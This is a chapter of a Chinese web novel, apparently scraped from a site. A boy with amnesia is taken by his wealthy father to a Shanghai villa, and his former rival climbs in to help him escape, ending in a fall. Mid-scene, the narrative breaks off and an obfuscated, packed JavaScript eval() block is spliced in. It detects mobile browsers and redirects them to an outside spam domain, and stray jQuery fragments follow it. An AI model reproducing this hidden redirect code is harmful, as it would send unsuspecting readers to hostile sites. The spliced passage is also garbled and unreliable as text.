23.把假小孩偷走

作品:《不良捡到死对头校草

    汽车在高速路上飞驰。


    秦一泽额上顶着青紫,坐在两名保镖中间,眼巴巴地望着车窗外飞掠的景致——太阳从头顶的位置逐渐西斜,阳光照在车窗上。他知道,自己离静河路已经很远很远,远到哥哥再也找不到他。


    嘴角不禁深深耷拉下去,他用力眨一眨眼,浓密的睫毛分散了湿意。


    秦耀东坐在副驾驶上,不动声色地用后视镜打量他。他注意到秦一泽泛红的眼眶,这将近十年未见的表情令他发出了一声难以置信的嗤笑:


    “你真不记得我了?”


    秦一泽梗着脖子,偏开脸不看他。


    秦耀东的冷笑逐渐收敛,神情变得凝重。他视线犀利地扭头打量儿子,似乎要把秦一泽全身上下扫描过一遍——尤其是脑袋:“你是在哪里撞到头的,在那个严峻家里吗?”


    秦一泽终于有了反应:“跟哥哥没有关系!”他恼怒地喊。


    冷嗤一声,秦耀东坐正身体,不屑地嘟囔:“……叫他倒是叫得积极。那小子给你灌了什么迷魂汤,让你这么死心塌地的?”


    秦一泽不理他,再次梗起脖子,红着眼眶扭开了脸。


    这神态看得秦耀东心里窝火,只得朝保镖们泄愤:“他那天去柔术馆的监控呢,还没查到吗?!”


    “那天下了大雨,大家都打着伞,摄像头拍得不怎么清晰。而且柔术馆有三个出口,所以……目前还在查。”


    “叫他们快点!”


    “好。”


    约莫一个钟后,车子下了高速,逐渐驶入繁华的都市。假小孩不动声色地打量着街边商店的招牌,注意到两个字反复出现,“申城”。


    他在心里默默记下,琢磨着找个机会给哥哥打电话,汇报位置……但很快,他反应过来:他好像不记得哥哥的电话号码。


    假小孩不禁扁扁嘴,心情愈发沮丧。


    不多时,车子驶入一片别墅区。保镖一左一右钳制着秦一泽的胳膊,把他带到三楼的某个房间。房间很宽大,装潢讲究,地上还铺着绒绒的地毯。浅色窗帘外,太阳露出疲色,正缓缓沉入钢筋水泥的天际线。


    秦耀东在一楼打电话。


    保镖沿着弧形楼梯走下去,把守住前后两个大门。秦一泽不动声色地扒着楼梯栏杆向下望,看见秦耀东叉着腰在客厅里来回走动,声音略显疲惫:“嗯,我回来了,在清湖这边……”


    “他出了点儿小问题。明天我得带他去医院检查,要耽搁一两天……他妈在国外呢,最快也要明天才回,远水救不了近火啊!你无聊就去找朋友逛街……小峰就交给保姆嘛!他好几个提高班要上,能妨碍你什么事?……行了行了,我明天下午过去陪你,好了吧?”


    “小峰”,秦一泽捕捉到这个名字,似乎有些耳熟。他拧起眉,试图搜寻与这个人有关的记忆,却还是什么都想不起来。


    这时,秦耀东挂掉电话,转身坐到沙发上,寻思一会儿,又拨了一串号码。


    这一次,他的语气中多了几分生硬。


    “喂,你在哪里?……新加坡啊。明天能回申城一趟吗,你儿子出事了。”


    “我没说他不是我儿子,你别抠字眼好吗?你到底关不关心他,你就不想知道他出什么事了吗?!”


    “——他撞到头,现在失忆了,不记得你也不记得我了,明白吗!……这跟监护人有什么关系?他是判给我了,可他不愿意跟着我住,我有什么办法?”


    “总之你明天回来一趟。我准备带他去看脑袋,到时候直接把病房号发给你……都说了他的伤跟我没关系!他又不是三岁小孩儿了,难道要我天天看着吗!……”


    这个不耐烦的语气也很熟悉,秦一泽感觉自己听过很多次。电话对面应该就是妈妈吧……他想。那张照片里曾经美满和乐的一家人,原来真的走散了。


    若有所思地望着楼下,他发现秦耀东在沙发上,背对楼梯。脑中灵光一闪,假小孩顿时面露希冀,小心翼翼地踮起脚,沿着楼梯悄无声息地走了下去。


    秦耀东还在专心致志地同前妻打嘴仗,根本没注意到儿子鬼鬼祟祟的身影。秦一泽小心翼翼地从他身后溜过,探头探脑张望一圈,锁定出口方向,正要潜行过去——


    门外,保镖打着电话走进来:“查到了?好,我跟老板说……”


    抬起头,两个人面面相觑。假小孩瞬间肃立,把脸一板,装作什么事都没发生,若无其事地转身往回走。


    “老板……”保镖看愣了,连手机都忘了挂:“刚才您儿子想溜出去。”


    望着那个挺直的背影,秦耀东啼笑皆非地揉揉眉心,吩咐道:“你去,监督他回到房间,顺便把门反锁上,千万不能让他跑了。”


    “好。”保镖任劳任怨地跟了上去。


    -


    严峻的手机一直在响。


    短信声,微信提醒,还有不时响起的来电震动。他蹲在围墙下,心不在焉地点开——夕阳的光映照在屏幕上,看不清内容。他偏一下手机,看见下午三点多,任言东发来了好友申请,里面是一行震惊的字:“秦一泽在你那里?!”


    还有袁思齐的消息:“老大,你翘课啊,不怕被记过?”


    林鹤则问:“我听见吉娃娃提到秦一泽。怎么,你跟他有矛盾么?”


    心浮气躁地退出微信,严峻点开来电提醒:里面整整齐齐地排列着六个未接来电,前四个是吉娃娃罗思音的,后两个是妈妈的。


    ……操。


    再点开信箱,妈妈发来了两条短信:小峻,你给妈妈回个电话。刚才罗老师说你早退了,怎么回事啊?


    没什么。严峻终于鼓起勇气,硬着头皮回复过去:妈,我只是有点儿私事。明天我会正常上课的,你不用担心。


    看看时间,现在已是傍晚五点半。阿婆一个人在家,中午也没有留饭……咬咬牙,严峻只能翻开通讯录,给吴叔打了个电话:“叔,今晚我在外头,一时半会儿回不去。阿婆能去你家吃个饭吗?”


    “当然可以啊!”吴叔答应得很快,但语调中透着忧虑:“那个……你是不是去找小树了?他亲爸爸来要人,你再怎么舍不得,也不好强留的。而且他爸看起来很有钱,小树的脑袋肯定能得到更好的救治……”


    “叔,他爸如果好好把人接回去,我当然不会拦着。”严峻的语气很冷静,冷静到有些异样,“但是你刚才也看到了,他爸是怎么对待他的——那么粗鲁的手段,小树肯定吓坏了。”


    吴叔语塞几秒,只能悻悻地把剩下的话咽回去:“……好吧。那你注意安全,别回来太晚。”


    挂掉电话,严峻抬眼望着远处西沉的太阳,面色凝重地深吸一口气,手指隐隐颤抖。


    自己到底想做什么呢?


    那个人是秦一泽,是学校的优等生,是把你揍过一顿的死对头。车祸刚发生时,你不是觉得天都塌了吗,你不是头痛应该怎么办吗?……现在好了,他爸把他接走了,你又何必想方设法地追来这个城市呢?


    可是……一想起小树被强行带走时那声惊慌失措的“哥哥”,和那几个人粗暴的动作,严峻就无法说服自己,让他就这样孤立无援地离开静河路。


    ……对,“孤立无援”。他现在不是秦一泽,他是小树,一个傻呆呆只知道吃和玩的小屁孩。贸然遭遇这种事情……他现在肯定很害怕吧?


    回眸凝望,别墅区精致优雅的欧式护栏在夕阳下静静伫立着,看上去不难翻越。严峻站起身,面色陡然变得坚定——他不动声色地观察栏杆上的摄像头,估算着它们的视野,再准备选取合适的翻越地点。


    等夜色降临,他就可以行动了。


    -


    夏天的夜晚黑沉得很慢,直到晚上八点才彻底黑透。严峻没吃晚饭,但他完全不觉得饿,一双眼只专心致志地藏在柱子后面,隔着栏杆打量小区巡逻保安的动向。


    待巡逻队经过之后,他悄无声息地来到一棵树下,借着树枝的掩护轻而易举地翻越栏杆,无声落地。


    这个别墅区的入住率不是太高,路灯的光亮之外,黑沉沉的绿化带为严峻提供了绝佳的掩护。他沿着绿化一栋一栋地找过去,终于在其中一栋楼的门口看到了两个人高马大的西装保镖,衣着打扮与今天劫持秦一泽的人别无二致——应该就是这里了!


    按捺着激动的心跳,严峻小心翼翼绕到别墅后院,隔着铁栏杆观察那几个亮着灯的房间。


    夜晚很安静,小区静悄悄的,房子里也没有声音……严峻纠结地看看二楼,又看看三楼,心里不禁咒骂:这小混账,难道这么快就妥协了?也不闹一闹?


    正琢磨着怎样才能准确找到关押假小孩的房间而不被发现,突然,一个熟悉的身影从三楼某个房间钻了出来!那人站到阳台向下张望一会儿,随后又钻回去——严峻眼睛一亮:这不是秦一泽是谁!


    找了个隐蔽的位置翻进院里,他飞快地溜到墙根下,抬起头寻找攀爬的路线。


    别墅的外立面上有许多凸起的装饰线条,严峻伸手掰一掰:实的!可以下脚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288827|181761||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !他顿时热血翻涌,双手攀住线条,脚下一蹬——修长削瘦的身体仿佛猕猴,轻巧地抓住了二楼阳台的栏杆。


    稳一稳心神,他咬紧牙关,抬腿勾住阳台边缘,很快爬到了二楼。随后,他故技重施,站在栏杆上攀住线条,在黑暗中悄无声息地爬上去,轻轻落到了三楼的阳台上!


    房间只拉了一半窗帘,因此,严峻一探脑袋,就看见了盘腿坐在地上的秦一泽。


    他面朝玻璃门,两手拽着几条颜色各异的床单,正拧着眉,一脸冷酷地把它们系到一起。看清这一幕,严峻的喘息戛然而止,转而露出一个服气的疲惫笑容,敲敲玻璃门:“……小树。”


    假小孩脊背一紧,难以置信地抬头望——心心念念的哥哥居然就在门外!他顿时睁大眼,冷硬神情瞬间融化,喜出望外地往阳台扑:“哥哥!”


    这小子还记得压低声音,小心翼翼地打开玻璃门,放哥哥进来。严峻一进去就捋起他的刘海,紧张地打量那片可怖的青紫:“操,怎么又是碰到这里?!……痛不痛啊?”


    “痛!”忍了一个下午,假小孩抓紧他的手,眼底迅速泛起湿意:“他们撞得好用力,我差点儿就昏过去了。”


    严峻欲言又止地咬咬牙,愤怒的大脑还保有一丝冷静:“你爸就这样放着你不管吗?他有没有说带你去看病,或者帮你涂跌打药?”


    “没有……”假小孩快委屈坏了,抓着他的手不肯放:“他明天才带我去医院,傍晚吃饭也不理我,就送了个盒饭进来……哥哥,他真是我爸爸吗?”


    这……严峻无言以对,只能捞过他的脑袋,轻轻揉一揉。


    假小孩靠在他肩上,还在嘀咕:“我听他打电话……他好像有别的小孩了,叫小峰。他的新老婆也在这个城市,明天下午就要过去陪她……既然这样,他专心陪新老婆新小孩就好了,把我抓过来干什么?”


    他一边念叨,一边把床单扎在一起,用力拉紧。看着他泄愤一般的动作,严峻拿起床单,转而问:“你是想把它们编成绳子,再从阳台爬下去吗?”


    “嗯!”提到逃跑,秦一泽瞬间振奋,把长长的床单绳展示给他看:“我编了三条,快六米长,肯定可以垂到一楼的!哥哥,我们一起逃回去吧。我不想跟那个人在一起,他都不在乎我……我们回静河路,让大姨替我做主。我以后就住在你家,哪儿也不去!”


    “可是……”严峻纠结地看着他,“他到底是你爸爸。真要抢起来,谁也抢不过啊。”


    “那又怎么样?”秦一泽愤恨地扁扁嘴,有那么一瞬间,他眼底的怨怼仿佛化出了实体,“他都可以丢我一个人住,那么长时间不闻不问,我不能自己选择家人吗?”


    严峻顿时无言以对。


    “我就要跟你在一起……”假小孩倔强地瞪着眼,眼珠蒙上一层水雾,满脸都是委屈和执拗,“他不是我爸爸,我不记得他,我就记得你!哥哥,难道你也不要我吗?”


    一句话问得严峻热血上涌,他咬咬牙,伸手拽住秦一泽的手腕,把人飞快地拖到了阳台上。


    动作麻利地将床单一头绑住栏杆,另一头丢下去,严峻压低声音密密叮嘱:“这片墙上有很多凸起,你下去的时候记得踩稳了,不要着急!咱们悄悄溜出去,今晚赶回平城,然后再想办法跟你爸谈判……”


    “好!”秦一泽两眼发亮地看着他,眼睛里仿佛盛着星星,“他不松口咱们就告他!告他遗弃,告到他妥协为止!”


    这天真的话把严峻逗笑了一瞬,马上又板起脸,扶着他跨越栏杆:“你先下去,我殿后!”


    “嗯!”秦一泽不愧是练过柔道的,身手颇为灵活。只见他把床单在虎口缠绕一圈,牢牢攥紧,长腿往下探,踩稳墙面的凸起,一点点向下挪。


    严峻紧张地注视着他,不时望向别墅两侧,警惕保镖的动静。然而怕什么就来什么——在秦一泽下到二楼时,一个保镖悄无声息地踩着草坪,打着电筒巡逻了过来。


    看见墙上蜘蛛侠似的身影,他立即一声大喝:“你们在干什么?——老板,你儿子要跑了!”


    “哥哥!”秦一泽不禁惊慌地呼唤一声,脚下猛然踩滑,床单发出“刺啦”的声音。严峻看得着急,翻过栏杆就要往下跳——这时,床单再无法承受,连接处猛然松脱!


    秦一泽只来得及惊叫:“哥……”便猝然脱手,重重跌落在地。他的脑袋闷声砸在草坪里,立刻昏了过去。


    严峻呼吸骤停,那瞬间脑子一片空白,不由自主地也跳了下去。